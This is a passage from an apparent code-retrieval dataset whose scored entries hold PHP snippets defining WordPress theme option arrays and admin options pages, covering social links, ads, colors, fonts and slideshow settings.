\"Twitter Username\",\n\t\t\t\t\t\t\"desc\" => \"Type Twitter username here.\",\n\t\t\t\t\t\t\"id\" => \"twitter_username\",\n\t\t\t\t\t\t\"std\" => \"fikrirasyid\",\n\t\t\t\t\t\t\"type\" => \"text\");\n\n\t$options[] = array( \"name\" => \"RSS Feed URL\",\n\t\t\t\t\t\t\"desc\" => \"Type the RSS Feed URL here.\",\n\t\t\t\t\t\t\"id\" => \"rssfeed_url\",\n\t\t\t\t\t\t\"std\" => get_bloginfo('url') . \"/?feed=rss\",\n\t\t\t\t\t\t\"type\" => \"text\");\n\n\t$options[] = array( \"name\" => \"Feedburner ID\",\n\t\t\t\t\t\t\"desc\" => \"Type Google Feedburner ID here. It will be used for email subscription on content's subscription box.\",\n\t\t\t\t\t\t\"id\" => \"feedburner_id\",\n\t\t\t\t\t\t\"std\" => \"FikriRasyid\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\n\n\t$options[] = array( \"name\" => \"Content\",\n\t\t\t\t\t\t\"type\" => \"heading\");\n\n\t$options[] = array( \"name\" => \"Custom text before content\",\n\t\t\t\t\t\t\"desc\" => \"Want to add some texts, images or even ads BEFORE every content on every post? Type it here.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_before_content\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\"); \n\n\n\t$options[] = array( \"name\" => \"Custom text after content\",\n\t\t\t\t\t\t\"desc\" => \"Want to add some texts, images or even ads AFTER every content on every post? Type it here.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_after_content\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\"); \n\n\t$options[] = array( \"name\" => \"Custom message for closed comment form\",\n\t\t\t\t\t\t\"desc\" => \"Type custom message for closed comment form here.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_closed_comment_message\",\n\t\t\t\t\t\t\"std\" => \"Sorry but we have decided to close the comment section for this post.\",\n\t\t\t\t\t\t\"type\" => \"textarea\");\n \n\t$options[] = array( \"name\" => \"Activate Feedburner email subscription box?\",\n\t\t\t\t\t\t\"desc\" => \"Tick this option if you want to show Feedburner email subscription box at the bottom of the content. Make sure that you have Feedburner account and your Feedburner ID\",\n\t\t\t\t\t\t\"id\" => \"pantomime_feedburner_subscription_box_status\",\n\t\t\t\t\t\t\"std\" => \"0\",\n\t\t\t\t\t\t\"type\" => \"checkbox\"); \n\n\t$options[] = array( \"name\" => \"Custom message for Feedburner email subscription box\",\n\t\t\t\t\t\t\"desc\" => \"Type custom message for Feedburner Mail Subscription form here.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_feedburner_subscription_box_message\",\n\t\t\t\t\t\t\"std\" => \"Type your email address and press the subscribe button. Whenever new content is published here, it will be delivered to your email address. Instantly.\",\n\t\t\t\t\t\t\"type\" => \"textarea\");\n\n\t$options[] = array( \"name\" => \"Ads\",\n\t\t\t\t\t\t\"type\" => \"heading\");\n\n\t$options[] = array( \"name\" => \"Fixed Sidebar Banner\",\n\t\t\t\t\t\t\"desc\" => \"Set the ad you want to show on fixed sidebar here.\",\n\t\t\t\t\t\t\"type\" => \"info\");\n\n\t$options[] = array( \"name\" => \"Show Fixed Sidebar ad?\",\n\t\t\t\t\t\t\"desc\" => \"Tick this option if you want to show fixed sidebar ad\",\n\t\t\t\t\t\t\"id\" => \"pantomime_fixed_sidebar_ad_status\",\n\t\t\t\t\t\t\"std\" => \"1\",\n\t\t\t\t\t\t\"type\" => \"checkbox\");\n\n\t$options[] = array( \"name\" => \"Fixed Sidebar Banner Link\",\n\t\t\t\t\t\t\"desc\" => \"Type URL you want to use as link in fixed sidebar banner here\",\n\t\t\t\t\t\t\"id\" => \"pantomime_fixed_sidebar_ad_link\",\n\t\t\t\t\t\t\"std\" => \"http://outstando.com/thoughtplifier/\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\n\n\t$options[] = array( \"name\" => \"Fixed Sidebar Banner Image\",\n\t\t\t\t\t\t\"desc\" => \"Upload image you want to use as banner here. Maximum width of the image should be 170 pixels.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_fixed_sidebar_ad_image\",\n\t\t\t\t\t\t\"type\" => \"upload\");\n\n\t$options[] = array( \"name\" => \"Fixed Sidebar Banner Text\",\n\t\t\t\t\t\t\"desc\" => \"Type text you want to use as description of fixed sidebar banner here\",\n\t\t\t\t\t\t\"id\" => \"pantomime_fixed_sidebar_ad_text\",\n\t\t\t\t\t\t\"std\" => \"Thoughtplifier: a single-column WordPress Themes by Outstando\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\n\t\n\treturn $options;\n}", "title": "" }, { "docid": "9b2a8b8081460d48ae3a978f5ff16da5", "score": "0.690751", "text": "function rp_get_options(){\n $options = array (\n array(\n \"name\" => \"Opzioni Generali\",\n \"type\" => \"section\"\n ),\n array(\n \"type\" => \"open\"),\n array(\n \"name\" => \"Google Analytics Code\",\n \"desc\" => \"You can paste your Google Analytics or other tracking code in this box. This will be automatically added to the footer.\",\n \"id\" => RP_THEME_SHORTNAME.\"_ga_code\",\n \"type\" => \"textarea\",\n \"std\" => \"\"\n ),\n array(\n \"name\" => \"Default Thumb Image\",\n \"desc\" => \"Carica l' immagine di default dei Post del sito\",\n \"id\" => RP_THEME_SHORTNAME.\"_default_image_option\",\n \"type\" => \"html\",\n \"html\" => rp_render_image_attachment_box()\n ),\n array(\n \"name\" => \"Default Header Image\",\n \"desc\" => \"Carica l'immagine di default della testata del sito\",\n \"id\" => RP_THEME_SHORTNAME.\"_default_header_option\",\n \"type\" => \"html\",\n \"html\" => rp_render_image_attachment_box('rp_default_header_image','_rp_attached_header_image')\n ),\n array(\n \"name\" => \"Custom Favicon\",\n \"desc\" => \"A favicon is a 16x16 pixel icon that represents your site; paste the URL to a .ico image that you want to use as the image\",\n \"id\" => RP_THEME_SHORTNAME.\"_favicon\",\n \"type\" => \"text\",\n \"std\" => get_bloginfo('url') .\"/favicon.ico\"\n ),\n array(\"type\" => \"close\"),\n\n array(\n \"name\" => RP_THEME_NAME.\" Options\",\n \"type\" => \"title\"\n ),\n array(\n \"name\" => \"Area Top\",\n \"type\" => \"section\"\n ),\n array(\n \"type\" => \"open\"),\n array(\n \"name\" => \"Contenuti in Home page\",\n \"desc\" => \"Seleziona quale tipo di contenuti saranno presenti in Home page nella posizione ( A )\",\n \"id\" => RP_THEME_SHORTNAME.\"_postion_a\",\n \"type\" => \"select\",\n \"options\" => array(\n \"null\"=>\"Seleziona\",\n \"page\"=>\"Pagine\",\n \"post\"=> \"Articoli\",\n \"widget\" => \"Widget\",\n \"text\" => \"Testo/HTML libero\"\n ),\n \"std\" => \"Seleziona\"\n ),\n array(\n \"name\" => \"Seleziona il contenuto da visualizzare\",\n \"desc\" => \"\",\n \"id\" => RP_THEME_SHORTNAME.\"_postion_a_content\",\n \"type\" => \"post-list\",\n \"options\" => rp_get_all_contents_for(),\n \"std\" => \"Seleziona\"\n ),\n array( \"type\" => \"close\"),\n array(\n \"name\" => \"Area Middle\",\n \"type\" => \"section\"\n ),\n array(\n \"type\" => \"open\"\n ),\n array( \"type\" => \"close\"),\n array(\n \"name\" => \"Area piè di pagina\",\n \"type\" => \"section\"\n ),\n array( \"type\" => \"open\"),\n array(\n \"name\" => \"Footer copyright text\",\n \"desc\" => \"Enter text used in the right side of the footer. It can be HTML\",\n \"id\" => RP_THEME_SHORTNAME.\"_footer_text\",\n \"type\" => \"text\",\n \"std\" => \"\"\n ),\n array( \"type\" => \"close\")\n );\n return $options;\n}", "title": "" }, { "docid": "da75798392b341619597b3efe6262bc6", "score": "0.6905687", "text": "function options() {}", "title": "" }, { "docid": "8884bbb3037808cc71085ed6b12acc31", "score": "0.68896145", "text": "function adminOptionsPage() { ?>\n\t\t<div id=\"hc_gatrack\">\n\t\t<h2>(GATrack) - HotChalk, Inc. v<?php echo HC_GATRACK_VERSION; ?></h2>\n\t\t<form method=\"post\" action=\"options.php\">\n\t\t<?php settings_fields('hcGatrack'); ?>\n\t\t<?php do_settings_sections('hc-gatrack'); ?>\n\t\t</form></div>\n\t\t<?php\n\t}", "title": "" }, { "docid": "4850822525314ec3d716ead1e9f52b30", "score": "0.6884407", "text": "function options_main() {\n acf_add_options_page(array(\n 'page_title' => __('Theme Options'),\n 'menu_title' => __('Theme Options'),\n 'menu_slug' => 'theme-options',\n 'capability' => 'manage_options',\n 'position' => '3.11',\n 'icon_url' => 'dashicons-welcome-widgets-menus',\n 'update_button' => __('Update Theme Options', 'acf'),\n 'updated_message' => __(\"Theme options have been updated\", 'acf'),\n ));\n }", "title": "" }, { "docid": "57c8725285d42fcabf6d0c2dcd8f5450", "score": "0.6871479", "text": "public function add_options_page() { \n add_submenu_page( 'listeo-fields-and-form', 'Reviews Criteria', 'Reviews Criteria', 'manage_options', 'listeo-reviews-criteria', array( $this, 'output' )); \n }", "title": "" }, { "docid": "257c59d3ecae5c8a26848d2e469d4fcd", "score": "0.6863198", "text": "final public function options()\n {\n echo WalkerOptions::output($this->get('options', []), ['selected' => $this->getValue()]);\n }", "title": "" }, { "docid": "2c95eb2e6a99b30d6080527f057f1432", "score": "0.68536115", "text": "function settings_page(){\n\trequire_once( THEME_DIR . \"/library/helpers/options.helper.class.php\" );\n\t\n\t/**\n\t *\n\t * $arg defined in library/helpers/options.helper.class.php\n\t *\n\t */\n\tnew library\\options_group('Settings',$arg);\n}", "title": "" }, { "docid": "ef2610488dec79ee543bf39c6433c791", "score": "0.68151224", "text": "function optionsframework_options() {\n\n\t$shortname = 'of';\n\n\t// Pull all the categories into an array\n\t$options_categories = array();\n\t$options_categories_obj = get_categories();\n\t$options_categories[''] = 'Latest Posts';\n\tforeach ($options_categories_obj as $category) {\n \t$options_categories[$category->cat_ID] = $category->cat_name;\n\t}\n\n\t// Pull all the pages into an array\n\t$options_pages = array();\n\t$options_pages_obj = get_pages('sort_column=post_parent,menu_order');\n\t$options_pages[''] = 'Select a page:';\n\tforeach ($options_pages_obj as $page) {\n \t$options_pages[$page->ID] = $page->post_title;\n\t}\n\n\t// If using image radio buttons, define a directory path\n\t$imagepath = get_template_directory_uri() . '/admin/images/';\n\n\t// Set the Options Array\n$options = array();\n$options[] = array( \"name\" => __(\"General\", \"framework\"),\n\t\t\t\t\t\"type\" => \"heading\");\n\n\n$options[] = array( \"name\" => __(\"Custom Logo\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Upload a logo for your theme, or specify the image address of your online logo. (http://yoursite.com/logo.png).<br /><br /> Image-size should be 300px x 65px.\",\n\t\t\t\t\t\"id\" => $shortname.\"_logo\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"upload\");\n\n$options[] = array( \"name\" => __(\"Custom Favicon\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Upload a 16px x 16px Png/Gif image that will represent your website's favicon.\",\n\t\t\t\t\t\"id\" => $shortname.\"_custom_favicon\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"upload\");\n\n\n$options[] = array( \"name\" => __(\"Tracking Code\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Paste your Google Analytics (or other) tracking code here. This will be added into the footer template of your theme.\",\n\t\t\t\t\t\"id\" => $shortname.\"_google_analytics\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"textarea\");\n\n$options[] = array( \"name\" => __(\"Customize\", \"framework\"),\n\t\t\t\t\t\"type\" => \"heading\");\n\n$url = get_template_directory_uri() .'/images/skins/textures/';\n$options[] = array( \"name\" => __(\"Background Texture\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Choose a texture overlay for your background.\",\n\t\t\t\t\t\"id\" => $shortname.\"_texture_bg\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"images\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'none' => $url . 'call-none.png',\n\t\t\t\t\t\t$url . 'grain.png' => $url . 'grainthumb.png',\n\t\t\t\t\t\t$url . 'canvas.png' => $url . 'canvasthumb.png',\n\t\t\t\t\t\t$url . 'linen.png' => $url . 'linenthumb.png',\n\t\t\t\t\t\t$url . 'graphy.png' => $url . 'graphythumb.png',\n\t\t\t\t\t\t$url . 'vertical-stripes.png' => $url . 'vertical-stripesthumb.png',\n\t\t\t\t\t\t$url . 'cubes.png' => $url . 'cubesthumb.png'\n\t\t\t\t\t\t));\n\n$options[] = array( \"name\" => __(\"Custom Background Image\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Upload a custom background image for your theme, or specify the image address of your online background image. (http://yoursite.com/background.png).<br /><br /> Image will be centered and horizontally tile in the featured background area.\",\n\t\t\t\t\t\"id\" => $shortname.\"_background_image\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"upload\");\n\n$options[] = array( \"name\" => __(\"Background Color\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select your background color for your theme.\",\n\t\t\t\t\t\"id\" => $shortname.\"_background_color\",\n\t\t\t\t\t\"std\" => \"#fff\",\n\t\t\t\t\t\"type\" => \"color\");\n\n$options[] = array( \"name\" => __(\"Layout Option\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select weather you want a white background on your content (boxed) or no background (stretched). \",\n\t\t\t\t\t\"id\" => $shortname.\"_layout_option\",\n\t\t\t\t\t\"std\" => \"stretched\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'stretched' => 'Stretched',\n\t\t\t\t\t\t'boxed' => 'Boxed'\n\t\t\t\t\t\t));\n\n$options[] = array( \"name\" => __(\"Padding Above Logo\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Top Padding for the Logo Section.\",\n\t\t\t\t\t\"id\" => $shortname.\"_logo_padding\",\n\t\t\t\t\t\"std\" => \"35\",\n\t\t\t\t\t\"type\" => \"text\");\n\n$options[] = array( \"name\" => __(\"Padding Above Navigation\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Top Padding for the Navigation Section.\",\n\t\t\t\t\t\"id\" => $shortname.\"_content_padding\",\n\t\t\t\t\t\"std\" => \"35\",\n\t\t\t\t\t\"type\" => \"text\");\n\n\n$options[] = array( \"name\" => __(\"Dropdown Menu Text\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Default Text Displayed in the Mobile Dropdown Menu\",\n\t\t\t\t\t\"id\" => $shortname.\"_menu_text\",\n\t\t\t\t\t\"std\" => \"Select a Page:\",\n\t\t\t\t\t\"type\" => \"text\");\n\n$options[] = array( \"name\" => __(\"Top Panel\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select whether you want a Top Panel to display the Date, Sitename and Secondary Menu\",\n\t\t\t\t\t\"id\" => $shortname.\"_top_bar\",\n\t\t\t\t\t\"std\" => \"On\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'On' => 'On',\n\t\t\t\t\t\t'Off' => 'Off'\n\t\t\t\t\t\t));\n\n$options[] = array( \"name\" => __(\"Sidebar Width\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select the width of your sidebar. Either slim to show more content, or extended to fit more types of ads.\",\n\t\t\t\t\t\"id\" => $shortname.\"_sidebar_width\",\n\t\t\t\t\t\"std\" => \"default\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'default' => 'Default (Slim Sidebar)',\n\t\t\t\t\t\t'extended' => 'Extended (300px Width)'\n\t\t\t\t\t\t));\n\n$options[] = array( \"name\" => __(\"Custom CSS\", \"framework\"),\n \"desc\" => \"Quickly add some CSS to your theme by adding it to this block.\",\n \"id\" => $shortname.\"_custom_css\",\n \"std\" => \"\",\n \"type\" => \"textarea\");\n\n$options[] = array( \"name\" => __(\"Links &amp; Highlight\", \"framework\"),\n\t\t\t\t\t\"type\" => \"heading\");\n\n$options[] = array( \"name\" => __(\"Highlight Color\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select Your Theme Highlight Color\",\n\t\t\t\t\t\"id\" => $shortname.\"_highlight_color\",\n\t\t\t\t\t\"std\" => \"#00a498\",\n\t\t\t\t\t\"type\" => \"color\");\n\n$options[] = array( \"name\" => __(\"Button Color\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select Your Top Section Font Color. Overwrites theme color.\",\n\t\t\t\t\t\"id\" => $shortname.\"_button_color\",\n\t\t\t\t\t\"std\" => \"#00a498\",\n\t\t\t\t\t\"type\" => \"color\");\n\n$options[] = array( \"name\" => __(\"Button Hover Color\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select Your Top Section Font Color. Overwrites theme color.\",\n\t\t\t\t\t\"id\" => $shortname.\"_button_hover_color\",\n\t\t\t\t\t\"std\" => \"#333333\",\n\t\t\t\t\t\"type\" => \"color\");\n\n$options[] = array( \"name\" => __(\"Link Color\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select Your Top Section Font Color. Overwrites theme color.\",\n\t\t\t\t\t\"id\" => $shortname.\"_link_color\",\n\t\t\t\t\t\"std\" => \"#333333\",\n\t\t\t\t\t\"type\" => \"color\");\n\n$options[] = array( \"name\" => __(\"Link Hover Color\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select Your Top Section Font Color. Overwrites theme color.\",\n\t\t\t\t\t\"id\" => $shortname.\"_link_hover_color\",\n\t\t\t\t\t\"std\" => \"#00a498\",\n\t\t\t\t\t\"type\" => \"color\");\n\n$options[] = array( \"name\" => __(\"Homepage\", \"framework\"),\n\t\t\t\t\t\"type\" => \"heading\");\n\n$options[] = array( \"name\" => __(\"Number of Sticky Posts on Homepage\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select the number of sticky posts you want on the homepage in either your Grid or Slider.\",\n\t\t\t\t\t\"id\" => $shortname.\"_sticky_posts\",\n\t\t\t\t\t\"std\" => \"9\",\n\t\t\t\t\t\"type\" => \"select\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'3' => '3',\n\t\t\t\t\t\t'4' => '4',\n\t\t\t\t\t\t'5' => '5',\n\t\t\t\t\t\t'6' => '6',\n\t\t\t\t\t\t'7' => '7',\n\t\t\t\t\t\t'8' => '8',\n\t\t\t\t\t\t'9' => '9',\n\t\t\t\t\t\t));\n\n$options[] = array( \"name\" => __(\"Homepage Slider Autoplay\", \"framework\"),\n \"desc\" => \"Choose your slideshow autoplay choice.\",\n \"id\" => $shortname.\"_home_autoplay\",\n \"std\" => \"true\",\n \"type\" => \"select\",\n \"options\" => array(\n 'false' => 'Autoplay',\n 'true' => \"No Autoplay\"\n ));\n\n$options[] = array( \"name\" => __(\"Homepage Slideshow Default Autoplay Speed\", \"framework\"),\n \"desc\" => \"This is for the SLIDER HOMEPAGE ONLY since the grid is random. Speed of the slideshow autoplay in seconds. Whole numbers only. \",\n \"id\" => $shortname.\"_home_autoplay_delay\",\n \"std\" => \"7\",\n \"type\" => \"text\");\n\n\n$options[] = array( \"name\" => __(\"Homepage Slideshow Transitions\", \"framework\"),\n \"desc\" => \"This is for the SLIDER HOMEPAGE ONLY since the grid is always 'fade' for memory reasons. Choose your slideshow transition style for the Slider Homepage only.\",\n \"id\" => $shortname.\"_home_slideshow_trans\",\n \"std\" => \"random\",\n \"type\" => \"select\",\n \"options\" => array(\n 'random' => 'Random',\n 'fade' => 'Fade',\n 'fold' => 'Fold',\n 'sliceDown' => 'Slice Down',\n 'sliceDownLeft' => 'Slide Down Left',\n 'sliceUp' => 'Slice Up',\n 'sliceUpLeft' => 'Slice Up Left',\n 'sliceUpDown' => 'Slice Up Down',\n 'sliceUpDownLeft' => 'Slice Up Down Left',\n 'slideInRight' => 'Slide In Right',\n 'slideInLeft' => 'Slide In Left',\n 'boxRandom' => 'Box Random',\n 'boxRain' => 'Box Rain',\n 'boxRainReverse' => 'Box Rain Reverse',\n 'boxRainGrow' => 'Box Rain Grow',\n 'boxRainGrowReverse' => 'Box Rain Grow Reverse'\n ));\n\n$options[] = array( \"name\" => __(\"Homepage Non-Featured Category\", \"framework\"),\n \"desc\" => \"Display news from a specific category.\",\n \"id\" => $shortname.\"_news_category\",\n \"std\" => \"\",\n \"type\" => \"select\",\n \"options\" => $options_categories);\n\n$options[] = array( \"name\" => __(\"Number of Non-Featured Homepage Articles\", \"framework\"),\n \"desc\" => \"Enter the number of non-featured homepage articles you want to show.\",\n \"id\" => $shortname.\"_home_posts\",\n \"std\" => \"4\",\n \"type\" => \"text\");\n\n$options[] = array( \"name\" => __(\"Homepage Non-Featured Category Columns\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Choose post the number of post columns you want to have.\",\n\t\t\t\t\t\"id\" => $shortname.\"_home_column_number\",\n\t\t\t\t\t\"std\" => \"twocol\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'twocol' => 'Two Columns',\n\t\t\t\t\t\t'onecol' => 'One Column',\n\t\t\t\t\t));\n\n\n$options[] = array( \"name\" => __(\"Posts\", \"framework\"),\n\t\t\t\t\t\"type\" => \"heading\");\n\n$options[] = array( \"name\" => __(\"Post Columns\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Choose post the number of post columns you want to have.\",\n\t\t\t\t\t\"id\" => $shortname.\"_column_number\",\n\t\t\t\t\t\"std\" => \"twocol\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'twocol' => 'Two Columns',\n\t\t\t\t\t\t'onecol' => 'One Column',\n\t\t\t\t\t));\n\n\n$options[] = array( \"name\" => __(\"Review Posts Style\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Choose your review posts style.\",\n\t\t\t\t\t\"id\" => $shortname.\"_review_style\",\n\t\t\t\t\t\"std\" => \"points\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'points' => 'Points',\n\t\t\t\t\t\t'percentage' => 'Percentage',\n\t\t\t\t\t\t'stars' => 'Stars'\n\t\t\t\t\t));\n\n\n$options[] = array( \"name\" => __(\"Number of Review Criteria per Post\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Keep this as low as you can for memory reasons to keep your load time fast.\",\n\t\t\t\t\t\"id\" => $shortname.\"_review_number\",\n\t\t\t\t\t\"std\" => \"5\",\n\t\t\t\t\t\"type\" => \"text\");\n\n\n\n$options[] = array( \"name\" => __(\"Number of Image Slides per Post\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Keep this as low as you can for memory reasons to keep your load time fast.\",\n\t\t\t\t\t\"id\" => $shortname.\"_thumbnail_number\",\n\t\t\t\t\t\"std\" => \"6\",\n\t\t\t\t\t\"type\" => \"text\");\n\n$options[] = array( \"name\" => __(\"Slideshow Transitions\", \"framework\"),\n \"desc\" => \"Choose your slideshow transition style.\",\n \"id\" => $shortname.\"_slideshow_trans\",\n \"std\" => \"random\",\n \"type\" => \"select\",\n \"options\" => array(\n 'random' => 'Random',\n 'fade' => 'Fade',\n 'fold' => 'Fold',\n 'sliceDown' => 'Slice Down',\n 'sliceDownLeft' => 'Slide Down Left',\n 'sliceUp' => 'Slice Up',\n 'sliceUpLeft' => 'Slice Up Left',\n 'sliceUpDown' => 'Slice Up Down',\n 'sliceUpDownLeft' => 'Slice Up Down Left',\n 'slideInRight' => 'Slide In Right',\n 'slideInLeft' => 'Slide In Left',\n 'boxRandom' => 'Box Random',\n 'boxRain' => 'Box Rain',\n 'boxRainReverse' => 'Box Rain Reverse',\n 'boxRainGrow' => 'Box Rain Grow',\n 'boxRainGrowReverse' => 'Box Rain Grow Reverse'\n ));\n$options[] = array( \"name\" => __(\"Default Croping of Slideshow Images\", \"framework\"),\n \"desc\" => \"Select if you want all the images to have the same height. This can be adjusted on individual post pages, too.\",\n \"id\" => $shortname.\"_slide_crop_images\",\n \"std\" => \"yes\",\n \"type\" => \"select\",\n \"options\" => array(\n 'yes' => 'Crop',\n 'no' => 'No Crop'\n ));\n$options[] = array( \"name\" => __(\"Default Slideshow Autoplay\", \"framework\"),\n \"desc\" => \"Select if you want your slideshow to automatically play. This can be adjusted on individual post pages, too.\",\n \"id\" => $shortname.\"_auto_play_slideshow\",\n \"std\" => \"Yes\",\n \"type\" => \"select\",\n \"options\" => array(\n 'yes' => 'Autoplay',\n 'no' => 'No Autoplay'\n ));\n\n\n$options[] = array( \"name\" => __(\"Post Slideshow Default Autoplay Speed\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Speed of the slideshow autoplay in seconds. Whole numbers only. Autoplay is controlled on a via your edit post page.\",\n\t\t\t\t\t\"id\" => $shortname.\"_post_autoplay_delay\",\n\t\t\t\t\t\"std\" => \"7\",\n\t\t\t\t\t\"type\" => \"text\");\n\n$options[] = array( \"name\" => __(\"Related Posts\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Do you want to show the latest posts section on your post page?\",\n\t\t\t\t\t\"id\" => $shortname.\"_related_posts\",\n\t\t\t\t\t\"std\" => \"no\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'no' => 'No',\n\t\t\t\t\t\t'yes' => 'Yes'\n\t\t\t\t\t));\n\n$options[] = array( \"name\" => __(\"Number of Related Posts\", \"framework\"),\n \"desc\" => \"Choose your number of related posts.\",\n \"id\" => $shortname.\"_related_number\",\n \"std\" => \"2\",\n \"type\" => \"select\",\n \"options\" => array(\n '2' => '2',\n '4' => '4',\n '6' => '6',\n '8' => '8',\n '10' => '10',\n '12' => '12'\n ));\n$options[] = array( \"name\" => __(\"Default Share Style\", \"framework\"),\n \"desc\" => \"Select a sharing section style for your post. This can be adjusted on individual post pages, too.\",\n \"id\" => $shortname.\"_share_style\",\n \"std\" => \"minimal\",\n \"type\" => \"select\",\n \"options\" => array(\n 'minimal' => 'Minimal',\n 'box_count' => 'Box Count',\n 'none' => 'None',\n ));\n$options[] = array( \"name\" => __(\"Default Author Style\", \"framework\"),\n \"desc\" => \"What style do you want the author information? This can be adjusted on individual post pages, too.\",\n \"id\" => $shortname.\"_author_style\",\n \"std\" => \"avatar_box\",\n \"type\" => \"select\",\n \"options\" => array(\n 'avatar_box' => 'Avatar Box',\n 'simple' => 'Simple',\n 'do_not_display' => 'Do not display',\n ));\n\n/*\n//This is a little \"buggy\" at the moment.\n$options[] = array( \"name\" => \"Post Slideshow Lightbox\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select whether you want full-size lightbox images to display upon clicking of slide images.\",\n\t\t\t\t\t\"id\" => $shortname.\"_slideshow_popup\",\n\t\t\t\t\t\"std\" => \"Off\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'On' => 'On',\n\t\t\t\t\t\t'Off' => 'Off'\n\t\t\t\t\t\t));\n*/\n$options[] = array( \"name\" => __(\"PrettyPhoto Skin\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Choose the skin for your PrettyPhoto popups.\",\n\t\t\t\t\t\"id\" => $shortname.\"_prettyphoto_skin\",\n\t\t\t\t\t\"std\" => \"pp_default\",\n\t\t\t\t\t\"type\" => \"select\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t'pp_default' => 'Default',\n\t\t\t\t\t'facebook' => 'Facebook',\n\t\t\t\t\t'dark_rounded' => 'Dark Rounded',\n\t\t\t\t\t'dark_square' => 'Dark Square',\n\t\t\t\t\t'light_rounded' => 'Light Rounded',\n\t\t\t\t\t'light_square' => 'Light Square'\n\t\t\t\t\t));\n\n\n$options[] = array( \"name\" => __(\"Forms\", \"framework\"),\n\t\t\t\t\t\"type\" => \"heading\");\n\n$options[] = array( \"name\" => __(\"Contact Email Address\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Type in the email address you want the contact and quote request forms to mail to.\",\n\t\t\t\t\t\"id\" => $shortname.\"_mail_address\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"text\");\n\n$options[] = array( \"name\" => __(\"Successfully Sent Heading\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Heading for a successfully sent contact or quote form.\",\n\t\t\t\t\t\"id\" => $shortname.\"_sent_heading\",\n\t\t\t\t\t\"std\" => \"Thank you for your email.\",\n\t\t\t\t\t\"type\" => \"text\");\n\n$options[] = array( \"name\" => __(\"Successfully Sent Description\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Heading for a successfully sent contact or quote form.\",\n\t\t\t\t\t\"id\" => $shortname.\"_sent_description\",\n\t\t\t\t\t\"std\" => \"It will be answered as soon as possible.\",\n\t\t\t\t\t\"type\" => \"text\");\n\n$options[] = array( \"name\" => __(\"Fonts\", \"framework\"),\n\t\t\t\t\t\"type\" => \"heading\");\n\n\n$options[] = array( \"name\" => __(\"Navigation Font\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Font Settings for sitewide fonts excluding the Top Featured Area. For previews, visit <a href='http://www.google.com/webfonts' target='_blank'>The Google Fonts Homepage</a>\",\n\t\t\t\t\t\"id\" => $shortname.\"_nav_font\",\n\t\t\t\t\t\"std\" => array('face' => 'Droid Sans','style' => 'bold','color' => '#fff', 'style2' => 'normal'),\n\t\t\t\t\t\"type\" => \"typography_nosize\");\n\n$options[] = array( \"name\" => __(\"Primary Heading Font\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Font Settings for sitewide primary heading fonts. Page Titles, Portfolio Titles, h1, h2 fonts. For previews, visit <a href='http://www.google.com/webfonts' target='_blank'>The Google Fonts 